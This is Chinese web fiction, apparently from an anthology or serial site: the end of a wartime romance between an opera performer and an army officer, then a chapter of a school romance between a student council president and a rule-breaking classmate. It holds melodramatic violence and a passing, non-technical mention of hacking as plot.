突然一阵剧咳,带血的唾沫星子溅在云袖脸上。程岩用最后清醒的力气咬破指尖,在他掌心画了个"帅"字。 --- 子时的卢府静得诡异。 云袖扮作送宵夜的小厮,食盒下层藏着程岩的怀表——玻璃表盖下压着张微型地图,正是程父骨灰坛里的西山火药库平面图。 "慢着。"张德彪突然拦住他,"云老板的《游龙戏凤》......"刺刀挑开食盒盖,"怎么改唱《鸿门宴》了?" 油腻的肘子肉被劈成两半,露出里面的□□。云袖甩出袖中钢丝的刹那,西窗外突然炸开烟花——是程岩与他的暗号,但比约定时间早了整整一个时辰! "看来程参谋......"张德彪的刺刀抵住他咽喉,"等不及要收尸了。" --- 日租界的铁丝网挂着碎肉。 程岩拖着伤腿爬过排污沟,吉田的眼眶还插着那柄木刀。怀表指针指向十一点,他却提前拧开了引爆器——因为从西山挖出的密件显示,卢大帅今晚就要把火药库移交给日本人。 "程桑。"吉田的独眼里闪着冷光,"令尊临死前......" 他突然按下桌底电铃,"也这么不自量力。" 警报声响彻租界。程岩撞碎玻璃窗跃出的瞬间,看见卢府方向升起熟悉的信号烟——是云袖袖中的磷粉!可那分明是"行动取消"的警告...... --- 两条黑影在城墙残垣相遇。 云袖的钢丝缠着半截断指,程岩的军装浸满火油。他们同时开口: "卢府地下是假的!" "租界地图是陷阱!" 远处传来引擎轰鸣。程岩突然撕开染血的衬衫,露出心口未愈的伤疤:"云袖,赌一把?" 磷火点燃引线时,云袖咬住那截断指吹了声唿哨——是阿七生前常哼的童谣调子。爆炸声从西山与租界同时响起,火光中程岩将他按在残碑上,咬破的唇贴上他耳垂: "若活到明天......" 血顺着碑文往下流,"我娶你。" 灰烬堂 拜天地的红烛是插在卢大帅头颅上的。 广和楼的残梁在身后燃烧,云袖凤冠上的东珠早散了,只剩几缕金线缠着程岩的武装带。他们跪在碎瓦砾上,三叩首时震落了梁柱间的火星,像一场颠倒的流星雨。 "一拜天地——"程岩割开卢大帅的喉咙,血线喷溅成弧形。 "二拜高堂——"云袖将吉田的独眼按在师兄照片上。 "夫妻对拜——"阿七的木刀终于插进仇人心窝,刀柄"忠"字被血浸得发亮。 交杯酒是混着硝烟与血的。程岩的牙齿磕在杯沿,突然将云袖扑倒——有狙击手!子弹擦着他耳廓飞过,打碎了供桌上的白蟒袍骨灰坛。 "程岩!"云袖摸到他后背黏湿的一片,"你他妈......" "新娘子......"程岩喘着气把他往断墙后拖,"别说脏话。" --- 止血的金线是从戏服上现拆的。 程岩趴在烧焦的戏箱上,看云袖用染血的指尖捻开凤凰尾羽的绣线。针尖穿透皮肉时,他咬住云袖半截散落的腰带:"当年教会医院......" 冷汗滴在对方手背,"你也这么给我缝的?" "闭嘴。"云袖的睫毛在火光中抖得厉害,"再动一下,我把你琵琶骨缝在一起。" 远处传来军靴声。程岩突然翻身压住他,就着这个姿势摸出个铁盒——里面是两本假护照,巴黎戏院的聘书,还有张泛黄的婚帖。 "云老板......"他舔掉云袖睫毛上的血,"私奔吗?" --- 子时的乱葬岗最适合埋秘密。 程岩用刺刀掘坑时,云袖正把婚帖上的"程门云氏"改成"云门程氏"。月光照见坟坑里的物件:师兄的断指、阿七的木刀残片、染血的戏牌,还有程父那把烧变形的铜钥匙。 "等打跑日本人......"程岩突然将半枚子弹壳套进云袖无名指,"我补你个教堂婚礼。" 云袖把另一枚按在他染血的虎口:"程岩,你记好了......" 抓起他的手按在自己心口,"若你死在前线,我当晚就吊死在巴黎歌剧院门口。" 破晓的汽笛声从码头传来。程岩用最后一□□炸平坟堆,火光中他们的影子融成一个,像当年广和楼初见时交叠的戏影。 长生殿 巴黎的雪落在云袖眉间时,他恍惚听见了广和楼的锣鼓点。 十年了,塞纳河畔的戏院总缺些味道——没有硝烟混着脂粉的呛,没有血滴在铜钹上的颤音。他描着杨贵妃的妆,笔尖却顿在眼尾。镜中忽然多出一道身影,藏青呢子大衣下露出半截军装领。 "先生点戏?"云袖没回头,胭脂膏子在掌心攥出红痕,"《长生殿》只唱到''埋玉''一折。" 那人摘下帽子。右额角新添的疤掩在鬓发里,可虎口那颗朱砂痣,云袖闭着眼都能画出来。 "巧了。"程岩的法语带着北平腔,"我想听''霓裳羽衣''。" --- 纳粹搜查那夜,程岩的旧伤疤出卖了他。 盖世太保的枪管抵在他后背七星鞭痕上时,云袖正在台上唱《雷峰塔》。水袖抛出去的刹那,他看见程岩被押进包厢,军装第三颗纽扣闪着暗光——是他们埋在广和楼废墟的铜钥匙。 "法海!"云袖突然改词,翎子直指包厢,"你拆我夫妻一世,我烧你金山十遭!" 满场哗然中,程岩踹翻警卫。他夺枪的姿势仍是当年广和楼救人的模样,子弹却精准打灭所有吊灯。黑暗里云袖甩出白绫,程岩抓住一端飞身上台—— 就像那年火场,他拽住十六岁的少年逃出生天。 --- 白蟒袍灰烬种出的牡丹,最终开在了程家祖坟。 战后第一个清明,云袖抱着骨灰坛跪在焦土上。坛里是戏服残片、巴黎的雪、半枚子弹壳,和程岩最后留给他的怀表——指针永远停在子时,玻璃裂痕拼成个"云"字。 "你骗我。"云袖把脸贴在冰冷的石碑上,"说好......若你死在前线,我就吊死歌剧院。" 风掠过坟头的牡丹,那花是用程岩血书婚帖的灰种出来的。远处传来孩童嬉闹,金发碧眼的小女孩举着木头小刀跑过,刀柄刻着歪歪扭扭的"忠"字。 云袖忽然笑了。他解开衣领,露出心口纹的七星疤——那是用程岩骨灰掺着朱砂刺的。夕阳西沉时,他甩开水袖,在无人的坟前唱起完整的《长生殿》。 戏文里杨贵妃成了仙,可他知道,他的程岩宁愿在人间做孤魂野鬼,也会年年岁岁...... 来看他。 [全文完] --- 后记·戏外春秋 1. 程岩实际死于1944年马赛港爆炸,临死前将婚帖吞入腹中保存 2. 云袖余生执教巴黎东方戏剧学院,所有学生必学《贵妃醉酒》 3. 阿七的木刀战后归还中国,现存北平革命博物馆,标签写着"爱情信物" 彩蛋 十年后清扫程家祖坟的工人发现,牡丹花根缠绕着一枚完好无损的铜钥匙——正是能打开广和楼衣箱那把。箱中白蟒袍内衬,用血写着二十八个字: "错认庭前看花人 烽火戏罢各长生 若问相思何所寄 霓裳羽衣旧时尘" (钥匙现藏于巴黎云袖纪念馆,每周三对外开放) 14. 你的煎蛋,我的变量 6:15 AM | 天台违规早餐会 韩明肃人生中第一次迟到,是因为一个煎蛋。 确切地说,是因为一个用番茄酱在煎蛋上画了笑脸的疯子——此刻这疯子正蹲在天台水箱上,单手托着餐盒冲他晃了晃:“会长,再不过来蛋要凉了。” 晨风掀起对方敞开的校服外套,露出里面被教导主任骂过八百次仍不整改的黑色耳钉。韩明肃瞬间确认了身份:柯霄,高二七班,上周刚因“翻墙姿势过于嚣张”被全校通报的篮球队刺头。 “根据校规第17条,天台禁止——”韩明肃的晨读计划表卡在6:20的“复习化学方程式”上,而柯霄已经跳下来把餐盒塞进他手里。 “禁止学生进入,但没禁止会长吃爱心早餐啊。”柯霄指尖蹭过韩明肃的手背,触感像掠过一块拒绝融化的冰。煎蛋上的笑脸被烤得微微焦黄,旁边还用蓝莓酱写着「GNDY」。 韩明肃皱眉:“什么意思?” “搞、哪、样。”柯霄突然凑近,睫毛在晨光里镀了层金边,“你每天6:30准时站在这儿背元素周期表的样子——”他忽然用筷子夹起煎蛋堵住韩明肃的嘴,“像极了被设定好程序的机器人。” 蛋黄猝不及防在舌尖化开。韩明肃的完美日程表里,从来没有「在日出时分被问题学生投喂」这一项。 6:25 AM | 计划崩坏预警 当柯霄变魔术般从书包里掏出保温杯时,韩明肃发现更荒谬的事:这人连他喝豆浆不加糖都知道。 “教导主任还有三分钟抵达战场。”柯霄突然拎起他手腕看表,这个动作让韩明肃的袖口蹭上对方衣领的柠檬洗衣粉味,“现在你有两个选择——” 远处传来铁门被推开的巨响。 “A.一起写检讨。”柯霄把空餐盒抛进垃圾桶,转身时校服下摆扫过韩明肃的膝盖,“或者B.让我这个‘违规惯犯’教你……” 他扣住韩明肃的手腕冲向消防通道,笑声混着风声炸在耳畔: “——怎么在计划表上,给自己留个‘KISS BREAK’。” 6:27 AM | 消防通道里的心跳加速 韩明肃这辈子没这么跑过。 他的手腕还被柯霄扣着,两人一路冲下消防通道,脚步声在铁质楼梯上撞出凌乱的节奏。教导主任的怒吼从上方传来:“又是你!柯霄!这次还带坏学生会会长?!” 柯霄回头冲韩明肃挑眉,压低声音:“会长,配合一下?” 没等韩明肃反应过来,柯霄猛地拽着他拐进二楼走廊的储物间,“砰”地关上门。 黑暗瞬间笼罩两人。 储物间狭窄得几乎转不开身,韩明肃的后背抵在墙上,柯霄的手臂撑在他耳侧,两人的呼吸在寂静中交错。 “你……”韩明肃刚想开口,柯霄的指尖忽然抵上他的唇。 “嘘。”柯霄的声音压得极低,带着一丝笑意,“被发现的话,你的‘全勤记录’就没了。” 韩明肃能感觉到柯霄的呼吸拂过他的鼻尖,温热、带着淡淡的薄荷糖味道。他的心跳忽然不受控地加快——这不对劲,他明明最讨厌计划外的混乱。 门外,教导主任的脚步声越来越近。 韩明肃屏住呼吸,却听见柯霄在他耳边轻笑:“会长,你紧张了?” “我没有。”韩明肃冷声反驳,但耳尖却不受控地发烫。 柯霄没再说话,只是微微低头,目光落在韩明肃紧绷的唇角。 ——如果这时候吻上去,会怎么样? 这个念头一闪而过,连他自己都愣了一下。 幸好,下一秒,教导主任的脚步声渐渐远去。 柯霄退开一步,顺手拉开储物间的门,阳光重新洒进来。他歪头看着韩明肃,笑得肆无忌惮:“看来我们配合得不错?” 韩明肃整理了下被弄皱的校服,面无表情:“下不为例。” 柯霄耸肩:“行,那明天天台见?” “……”韩明肃没回答,转身就走。 但他没否认。 #### 6:50 AM | 学生会的异常记录 韩明肃推开学生会办公室的门时,副会长林晓正抱着一叠文件等他。 “会长,今天的晨会记录……”她话说到一半,忽然顿住,狐疑地打量他,“你脸怎么这么红?” 韩明肃镇定地翻开笔记本:“跑步热的。” 林晓:“……” 她默默看了眼窗外——今天明明是个阴天。 韩明肃无视她的目光,低头在今日计划表上划掉“6:30-7:00 复习化学”,笔尖顿了顿,又补上一行小字: 「6:15-6:30 变量观测(待分析)」 ——他还没想明白,柯霄这个“变量”,到底会打乱他多少计划。 #### 午休时间 | 一只猫的意外闯入 午休铃刚响,韩明肃正整理下午的会议资料,忽然听见窗外传来细微的“喵”声。 他抬头,看见一只橘白相间的三花猫正蹲在窗台上,歪头盯着他。猫脖子上挂了个小牌子,上面写着: 「TOM | 1.13kg | 投喂者:KISS亅 韩明肃:“……” 他面无表情地伸手关窗,但猫的动作更快,轻巧地跳进来,直接落在他的笔记本上,尾巴一甩—— “啪!” 他的咖啡杯倒了,液体瞬间浸透整页会议记录。 韩明肃深吸一口气,拎起猫的后颈:“柯霄派你来的?” 猫无辜地“喵”了一声,爪子在他袖口蹭了蹭,留下几道泥印。 韩明肃闭了闭眼。 很好,今天的计划,彻底完蛋了。 会长的过敏原是我 12:15 PM | 喷嚏是心动的警报 韩明肃这辈子最后悔两件事: 第一,没在柯霄第一次翻墙时直接记他大过; 第二,没把这只叫TOM的肥猫从窗台扔出去。 此刻他蜷在学生会办公室的沙发上,喷嚏打得惊天动地,眼泪不受控地往下掉。罪魁祸首猫蹲在茶几上,悠闲地舔着爪子,尾巴尖还勾着韩明肃被咖啡染透的笔记本。 “阿嚏——!” 门被“哐当”撞开时,韩明肃正狼狈地扯纸巾捂鼻子。柯霄拎着塑料袋冲进来,一眼看见他泛红的眼尾和湿漉漉的睫毛,脚步猛地顿住。 “……你哭了?” “过敏。”韩明肃别过脸,声音闷在纸巾里,“把猫带走。” 柯霄却突然蹲到他面前,伸手拨开他额前被冷汗浸湿的碎发:“不知道你对猫毛过敏。”他指尖的温度烫得韩明肃一颤。 “现在知道了,滚。” 柯霄没滚,反而从塑料袋里掏出一盒药:“氯雷他定,现在吃。”见韩明肃不动,他干脆拆了包装把药片塞进对方手里,又拧开矿泉水瓶递过去,“放心,没下毒。” 韩明肃吞下药,冰水滑过喉咙才后知后觉——这人连他常买的药牌子都知道。 12:45 PM | “绑架”会长的午休计划 药效发作的昏沉中,韩明肃感觉自己被架了起来。 “你干什么?”他挣扎,却被柯霄扣得更紧。 “绑架。”柯霄理直气壮,“病号需要转移隔离区。” 所谓“隔离区”是教学楼顶废弃的广播站。柯霄踢开堆满杂物的角落,露出一张铺着软垫的旧沙发,甚至还挂着遮光窗帘。 “你据点挺多。”韩明肃冷笑。 “毕竟要躲避会长的追捕嘛。”柯霄把他按在沙发上,变戏法似的摸出保温桶,“现在,吃病号特供。” 盖子掀开,白粥的清香混着皮蛋瘦肉的热气涌出来。韩明肃愣住——这是他唯一能接受的咸粥,连他妈都常煮错成甜粥。 “别感动,”柯霄舀起一勺吹凉,“篮球队上次食物中毒,我喂过八个病号。”勺子却稳稳递到韩明肃唇边。 韩明肃想拒绝,胃却诚实地抽痛一下。他低头含住勺子,粥的温度恰到好处。 “柯霄。” “嗯?” “你调查我?” 柯霄擦掉他嘴角的米粒,指尖有意无意蹭过下唇:“是啊,调查三年了——从你作为新生代表发言,说‘人生需要绝对计划’开始。”他忽然笑起来,“就想看看什么样的变量能崩坏你这台精密仪器。” 窗帘缝隙漏进的光斑跳跃在柯霄肩头,韩明肃捏紧了掌心。 变量。又是这个词。 1:30 PM | 耳机的分界线是心跳 半碗粥下肚,韩明肃昏昏欲睡。过敏药的副作用让他头重脚轻,偏偏柯霄还在旁边哼歌。 “吵。”他皱眉。 柯霄立刻闭嘴,几秒后却把一只蓝牙耳机塞进他右耳。轻柔的吉他前奏流淌出来,是韩明肃歌单里循环最多的后摇乐队。 “你怎么连我……” “嘘。”柯霄自己也戴上左耳机,顺势躺倒在沙发另一头,“**BREAK TIME**(休息时间)。” 两人头对脚躺着,共享的旋律像一条无形的线缠住心跳。就在韩明肃即将坠入睡眠时,柯霄忽然开口: “TOM是我在‘TRAVEL’旅行社后巷捡的。” “……” “那天暴雨,它卡在排水管里,体重只有0.8公斤。” “所以现在胖到1.13公斤是你的功劳?”韩明肃闭着眼吐槽。 柯霄笑了:“不,是你的功劳——我每天偷拍它照片发你,你虽然从不回复,但第二天巷口就会出现高级猫罐头。”他翻个身,目光灼灼盯着韩明肃后脑勺,“会长,口是心非是病。” 韩明肃一把扯过窗帘蒙住头。 耳机里歌手突然唱到:“You are my definite accident(你是我命中注定的意外)……” 咚、咚、咚 分不清是谁的心跳在鼓噪。 放学后 | 终极把柄的诞生 韩明肃在放学人流中逮住柯霄时,对方正把书包甩上肩头准备开溜。 “天台,储物间,广播站。”韩明肃亮出手机相册——赫然是柯霄藏在各处的“违禁品”:电磁炉、猫粮、甚至还有投影仪,“够你退学三次。” 柯霄挑眉:“所以?” “约法三章。”韩明肃调出新建的《KISS管理协议》,“一、拆除所有据点;二、早自习不准缺席;三……”他顿了顿,“离我远点。” 柯霄突然抢过手机,指尖飞快打字。 “你干什么!” “加补充条款。”柯霄把手机拍回他胸口。屏幕上是新添的第四条: 「当韩明肃需要时,KISS必须提供BREAKFAST及BREAK TIME服务。」 下方还有一行小字:*解释权归柯霄所有* 韩明肃气笑:“我需要什么?” 柯霄突然俯身,呼吸擦过他耳垂: “需要承认——你的过敏原不是猫。” 他指尖点住韩明肃心口, “是我。” 夕阳把两人影子拉长交叠,远处传来TOM追蝴蝶的喵叫。韩明肃没推开他。 完了。韩明肃想。 这变量彻底失控了。 彩蛋 - 柯霄的偷拍相册: - 韩明肃演讲时扶眼镜的侧影(标注:DEFINITE标准模板) - 韩明肃在“BREAKFAST”早餐店皱眉挑葱花(标注:挑食会长实录) - 暴雨天韩明肃站在“TRAVEL”招牌下发呆(标注:私奔未遂地点①) - 韩明肃的隐藏文件夹: - 柯霄投篮视频(文件名:KISS违规分析报告) - 三花猫成长记录(文件名:TOM 1.13研究日志) - 空白文档(某日突然输入:变量是否具有传染性?) 7:00 AM | 早餐是谎言的测谎仪 韩明肃的《KISS管理协议》在生效24小时后宣告破产——此刻柯霄正大咧咧坐在学生会会长专属座位上,用他的马克杯喝豆浆。 “协议第四条,”柯霄晃了晃手机屏幕,“‘当韩明肃需要时’——”他故意拖长音调,指尖敲了敲韩明肃青筋微跳的太阳穴,“你黑眼圈快掉到嘴角了,会长。” 韩明肃冷笑:“我需要你消失。” “驳回。”柯霄变魔术般推出餐盒。这次不是煎蛋,而是焦糖色的布丁,表面用巧克力酱画了个歪扭的爱心,旁边依旧写着熟悉的「GNDY」。 韩明肃盯着那个爱心,想起昨天柯霄点在他心口的指尖,耳根隐隐发烫:“…这次又是什么暗号?” “Give Notice: Dessert Yummy(温馨提示:甜点超赞)。”柯霄挖起一勺布丁直接怼到他唇边,“张嘴,测谎仪启动——” 甜腻的焦糖在舌尖化开,韩明肃还没咽下去,柯霄突然凑近他鼻尖嗅了嗅:“你熬夜写物理竞赛题了,喝了两杯黑咖,还用了薄荷味牙膏。”他得意地挑眉,“测谎结果:会长需要糖分充电!” 韩明肃一把推开他:“离我远点。” “行啊。”柯霄后退半步,却把整盒布丁塞进他手里,“吃完我就走。” 门被关上后,韩明肃看着餐盒里那个丑兮兮的爱心,鬼使神差地舔掉了勺沿残留的焦糖。 ——太甜了。 和他混乱的心跳一样甜得发慌。 --- 10:30 AM | 情敌携带CO分子式登场 物理竞赛辅导课上,韩明肃的笔尖第三次划破纸张。 “肃肃?”温润的男声从头顶传来。穿着高三学长制服的沈屿舟弯腰拾起他掉落的橡皮,袖口滑落时露出腕上一枚银质徽章——简洁的「CO」分子结构图在阳光下泛着冷光。 全班视线瞬间聚焦。 沈屿舟,保送A大的学神,韩明肃初中时就仰望的标杆。此刻他却把橡皮放在韩明肃摊开的笔记本上,指尖恰好压住那句「变量传染性报告(待验证)」。 “听说你最近常去天台?”沈屿舟笑容温和,话却像针,“小心着凉。” 韩明肃还没开口,后排突然传来椅子刺耳的拖拽声。柯霄单手插兜晃过来,直接抽走韩明肃的笔记本:“会长,借个公式。”他目光扫过沈屿舟的手腕,突然咧嘴一笑,“学长这徽章挺别致,定情信物?” 沈屿舟从容收回手:“化学竞赛纪念品而已。”他看向韩明肃,意有所指,“有些反应看似剧烈,本质却是可逆的。” 柯霄突然把笔记本拍回韩明肃面前。最新一页物理公式上,被他用红笔嚣张地覆盖了一行字: 「CO + 2H? → CH?OH(注:老子不可逆)」 韩明肃盯着那行字。 甲醇合成公式。 不可逆反应。 他一把合上笔记本。 变量传染的病症加重了——否则为什么沈屿舟靠近时他毫无波动,而柯霄胡乱涂鸦的化学式却让他掌心沁出薄汗? --- 午间广播 | 天台是心跳的共振腔 “今日午间广播由高二七班柯霄同学代班——” 当柯霄的声音透过全校喇叭炸响时,韩明肃刚拧开抑制剂喷剂的手猛地一抖。 “下面播放特别点歌:《Pl》——送给那位总在计划表上写‘讨厌柯霄’的同学。”柯霄的轻笑被电流放大,震得韩明肃耳膜发麻,“…虽然他把‘讨厌’划掉改成了‘心跳’。” “噗!” 韩明肃的抑制剂喷歪了,呛得他眼眶发红。 天台风大。 韩明肃踹开铁门时,柯霄正背对他摆弄广播设备,外套下摆被风吹得猎猎作响。他脚边蹲着圆滚滚的TOM,猫脖子上挂了个新牌子:「KISS官方认证·心跳记录仪」。 “关掉广播。”韩明肃声音淬冰。 柯霄回头,举着手机晃了晃:“那你先解释下——”屏幕上是韩明肃笔记本的放大照片,最新一页的「变量传染性报告」下方,有一行极小却清晰的追加记录: 「观测样本KISS:体温偏高(接触时+0.7℃),声波传导效率异常(心跳共振现象?)」 韩明肃大脑空白一秒。 柯霄步步逼近,把他抵在广播台边缘:“拿我当实验对象?韩大学霸?”他膝盖挤进韩明肃双腿之间,气息烫得惊人,“那我得收点观测费…” 喇叭突然爆出刺耳噪音! 柯霄下意识护住韩明肃后脑,两人重重撞向控制台。混乱中韩明肃的唇擦过柯霄喉结,而柯霄的手正死死箍在他腰侧。 滋啦电流声里,全校师生听见广播里传来失控的喘息,以及柯霄咬牙切齿的控诉: “会长…你心跳吵到我耳朵了!” --- 化学实验室 | 不可逆反应的证明 韩明肃在实验室门口堵住沈屿舟。 “学长,请停止送竞赛资料到学生会。”他举起一叠沈屿舟“顺手”放他桌上的书,“我有固定学习计划。” 沈屿舟却摩挲着腕上徽章:“肃肃,你以前明明会叫我‘屿舟哥’。”他忽然压低声音,“柯霄接近你是有目的的——他初中时是‘TRAVEL’旅行社火灾的唯一目击者。” 韩明肃瞳孔骤缩。 三年前那场大火烧毁半条街,新闻里说…有个男孩为救人留下永久性腿伤。 “他左腿膝盖有疤,对吧?”沈屿舟把一枚新徽章塞进他手心——依旧是「CO」,边缘却刻了行小字:Catch On(抓紧),“别被变量带偏轨道。” 韩明肃攥紧徽章,金属棱角硌得掌心生疼。 晚自习时,柯霄翻墙进来,把一袋热腾腾的糖炒栗子丢在韩明肃桌上:“赔罪礼。”他裤腿上沾着墙灰,左腿微跛的动作被韩明肃尽收眼底。 “柯霄。”韩明肃突然开口,“三年前‘TRAVEL’旅行社的火…” 剥栗子的声音停了。 柯霄垂着头,碎发遮住眼睛:“你想问什么?” 韩明肃把「CO」徽章推到他面前:“沈屿舟给的。” 实验室顶灯惨白,柯霄盯着那枚徽章,忽然笑了:“他是不是还说…我救人的时候很帅?”他猛地扯起左腿裤管—— 一道狰狞的伤疤盘踞在膝盖上方,像扭曲的蜈蚣。 “可惜是假的。”柯霄声音淬冰,“这疤是逃跑时被掉落的招牌砸的…我是个懦夫,会长。” 栗子的甜香在空气中发酵。 韩明肃忽然伸手,指尖轻轻触上那道疤。 “疼吗?” 柯霄浑身一僵。 韩明肃的指尖冰凉,触碰却烫得他灵魂都在战栗。 “早不疼了…”他哑声抓住韩明肃想撤回的手,按在自己心口,“但这儿疼——你收他徽章的时候。” 韩明肃的掌心下,柯霄的心跳又快又重,震得他指尖发麻。 “那枚徽章…”韩明肃垂下眼,“刻的是Catch On(抓紧)。” 柯霄愣住。 韩明肃反手扣住他手腕,将人扯向自己。化学实验室的窗帘被风吹起,月光泼了两人一身。 “但我改词了。” 韩明肃的呼吸拂过柯霄唇畔, “Catch You(抓紧你)。” 窗外突然传来巨响! 两人扭头,只见TOM不知怎么撞翻了窗台上的试剂架,整瓶未开封的浓盐酸垂直砸向韩明肃的实验报告—— 哗啦! 液体喷溅,纸页上「变量传染性报告」的标题被腐蚀得嘶嘶冒烟,最后一行字却在强酸中诡异地清晰起来: 「结论:传染性确诊。治疗方案:终生隔离观察样本KISS。」 【彩蛋】 1. 韩明肃的隐藏实验 - 偷测柯霄常喝的豆浆品牌(匹配度100%) - 记录柯霄翻墙的11条路径(标注:需增设防护栏) - 分析自己听到“KISS”时的心跳增幅(+37bpm) 2. 柯霄的复仇计划 - 给沈屿舟的竞赛报名表填错班级(高二七班→高七二十七班) - 在“TRAVEL”旅行社旧址涂鸦:「沈屿舟与狗不得入内」 - 给TOM定制项圈文字:「正宫认证·沈屿舟勿撸」 火灾证词与告白时效 7:00 AM | 伤疤是谎言的墓志铭 韩明肃在柯霄家楼下蹲到第三支烟燃尽时,锈迹斑斑的铁门终于被推开。柯霄叼着面包片冲出来,看见他的瞬间差点噎住。 “会长…查岗?”他试图用玩笑掩盖错愕,但韩明肃的目光像手术刀般钉在他左腿——那里被牛仔裤包裹着,藏着一道被污名为“懦夫烙印”的疤。 韩明肃碾灭烟:“‘TRAVEL’火灾的监控备份,我找到了。” 柯霄的笑容冻在脸上。 逼仄的出租屋里堆满篮球杂志,唯一整洁的书桌上压着张合影:穿初中校服的柯霄背着个昏迷的老人冲出火海,左腿鲜血淋漓。照片旁放着枚生锈的校牌,名字被火燎去半边,只留下「霄」和血指印。 “消防队原始记录显示——”韩明肃点开手机视频。摇晃的监控画面里,少年柯霄第三次冲进火场,扛出旅行社老板后却被倾塌的招牌砸中。他拖着伤腿爬行的轨迹,在焦黑地面上拖出一道长长的血痕。 视频终止在救护车刺眼的蓝光里。 “沈屿舟说这视频‘被火灾烧毁了’。”韩明肃的声音淬着冰,“但备份在老板住院记录里。” 柯霄抓起桌上凉透的水灌了一口:“…为什么查这个?” “因为你的伤疤在说谎。”韩明肃突然扯过他左腿裤管。 伤疤在晨光下狰狞凸起,像一枚扭曲的勋章。 “它明明在喊‘老子救人超勇的’。” 面包片啪嗒掉在地上。 柯霄猛地拽过韩明肃的衣领,眼眶赤红:“那你现在满意了?看够英雄变狗熊的戏码了?” 韩明肃却把一枚新徽章拍在他胸口。 不再是沈屿舟的「CO」,而是他自己设计的——燃烧的火焰中嵌着「KISS」,背面刻着「Definite Proof」(确凿证据)。 “不满意。”韩明肃直视他翻涌的眼睛,“英雄的勋章不该落灰。” 窗外蝉鸣炸响。 柯霄忽然低头,狠狠咬住韩明肃的肩。 不疼,但校服布料迅速洇开一片湿热。 --- 物理考场 | 用公式狙击谎言 全市物理竞赛现场,沈屿舟作为特邀监考巡视到最后一排时,韩明肃的卷子已写满三分之二。 “肃肃,火灾调查玩得开心吗?”沈屿舟指尖划过他卷面,“但有些真相烧成灰才安全。”他袖口的「CO」徽章故意蹭过韩明肃手背。 韩明肃突然举手:“考官,有人干扰答题。” 全场瞩目下,沈屿舟被迫退后两步。韩明肃却翻过卷子,在草稿区唰唰写下一串公式: > 设谎言传播速率为v,真相质量为m > 根据柯霄-明肃定理:F= v?/m > 当m→∞(确凿证据),F→0(谎言作用力归零) 沈屿舟看清公式时脸色骤变。 交卷铃响,韩明肃起身将卷子拍在讲台。公式下方被他用红笔补充一行字: 「附:建议参考《火灾力学》第七章——血痕轨迹的矢量分析证明救人行为」 满场哗然中,韩明肃撞开沈屿舟的肩膀。 擦身而过时他压低声音: “学长,你的Catch On…” “失效了。” --- 天台风暴 | 告白是唯一的灭火器 柯霄踹开天台门时,暴雨正砸得水箱砰砰作响。韩明肃背对他站在栏杆边,白衬衫被风灌满,像片随时会坠落的云。 “你疯了?!”柯霄冲过去拽他,“台风天站这当避雷针?” 韩明肃却反手抓住他手腕,将人抵在水箱上。雨水顺着两人交错的鼻梁往下淌,韩明肃的瞳孔在闪电中亮得骇人。 “三年前火灾,你救的老人是‘BREAKFAST’早餐店老板。” “他出院后搬走,是因为沈屿舟父亲要强拆那条街开发度假村。” “沈屿舟接近我,是想拿我父亲(教育局局长)的审批章。” 每一个字都像冰锥扎进柯霄耳膜。 “这些…”柯霄喉结滚动,“你怎么…” “因为我申请了‘TRAVEL’火灾重查。”韩明肃举起手机,屏幕上是沈屿舟父亲贿赂官员的邮件截图,“以及——我黑进了他家的云盘。” 惊雷炸裂! 柯霄突然大笑起来,笑得肩膀发抖:“会长,你这算滥用职权还是正义执行?” 韩明肃的拇指擦过他湿透的唇角: “算变量失控。” 下一秒,滚烫的呼吸淹没在雨声里。 是柯霄吻了上来。 毫无章法,甚至撞疼了牙齿。咸涩的雨水和更咸的眼泪混在一起,柯霄的手死死箍着韩明肃的后颈,像要把他勒进骨血。 “韩明肃…”吻的间隙里,柯霄喘息着咬他耳垂,“老子喜欢你三年…” “不是变量,是恒量。” 韩明肃喘息着仰头,任由雨水冲刷发烫的脸颊:“…证明呢?” 柯霄突然扯开自己衣领——心脏位置纹着一行墨蓝小字: 「HMS = Home」 雨水顺着纹身蜿蜒而下,韩明肃的指尖抚过那些字母,突然狠狠咬上柯霄的锁骨: “纹身是**永久性**的…” “柯霄,你没有反悔期了。” --- 学生会审判 | 以吻封缄 沈屿舟带人冲进学生会办公室时,韩明肃正给柯霄膝盖涂药。 “勾结黑客,窃取商业机密!”沈屿舟将举报信甩在桌上,“韩大会长,你猜明天头条怎么写?” 柯霄抓起药膏砸过去:“写你爹行贿未遂狗急跳墙?” 剑拔弩张中,韩明肃却慢条斯理锁了办公室门,按下手机录音键: “沈学长,你父亲昨天向廉政公署自首了。” 他点开邮箱,界面显示「举报材料已受理」,“至于你冒用竞赛组委会名义定制的徽章——” 韩明肃突然摘下沈屿舟腕上的「CO」徽章,当着他面拆开夹层! 微型摄像头闪着幽光。 “偷拍学生隐私,够开除吗?”韩明肃问。 沈屿舟面如死灰地跌坐在地。 保安拖走沈屿舟后,柯霄用脚勾上门,把韩明肃困在办公桌之间:“会长,危机解除是不是该发奖励?” 韩明肃刚开口,就被柯霄吻住。 不同于天台的疯狂,这个吻轻柔得像羽毛,却掀起海啸般的心跳。 “闭眼。”柯霄喘息着命令。 韩明肃顺从地阖眼,任由对方舔去他唇角的药膏苦味。 突然响起的手机震动打断旖旎。 韩明肃推开柯霄接起电话:“爸…对,审批没通过…因为度假村规划图占用消防通道…” 柯霄趁机在他笔记本上涂鸦。 等韩明肃挂断电话,只见最新一页的《变量传染性报告》结论栏被红笔划掉,旁边嚣张地批注: 「结论错误!应更正为:恒量共生系统启动」 「建议治疗方案:每日KISS三次,疗程终身」 韩明肃冷笑:“三次不够。” 柯霄眼睛骤亮:“那…” 韩明肃拽过他衣领吻上去: “永久性治疗,现在补费。” > - KISS(告白之吻/恒量烙印) > - HMS(名字密码=Home) > - TRAVEL(火灾地点真相) > - DEFINITE(定理推翻谎言) > - BREAKFAST(火灾获救者身份) > - TOM 1.13(下章猫猫回归) > - CO(偷拍设备/熔铸新生) 恒量共生系统 6:18 AM | 晨间协议修订案 柯霄在韩明肃家厨房煎坏第三个蛋时,被当事人用《恒量共生系统管理细则》拍中了后脑勺。 “第5条,”韩明肃冷着脸指向手写条例,“禁止在恒量伴侣的德国进口不粘锅上制造碳基生命体。”锅底黢黑的煎蛋尸体冒着焦烟。 柯霄反手将人圈进流理台与自己胸膛之间:“韩老师,实践课不及格怎么办?”他沾着蛋液的手指抹过韩明肃嘴角,下一秒舌尖卷走那点咸涩,“…补考这样行吗?” 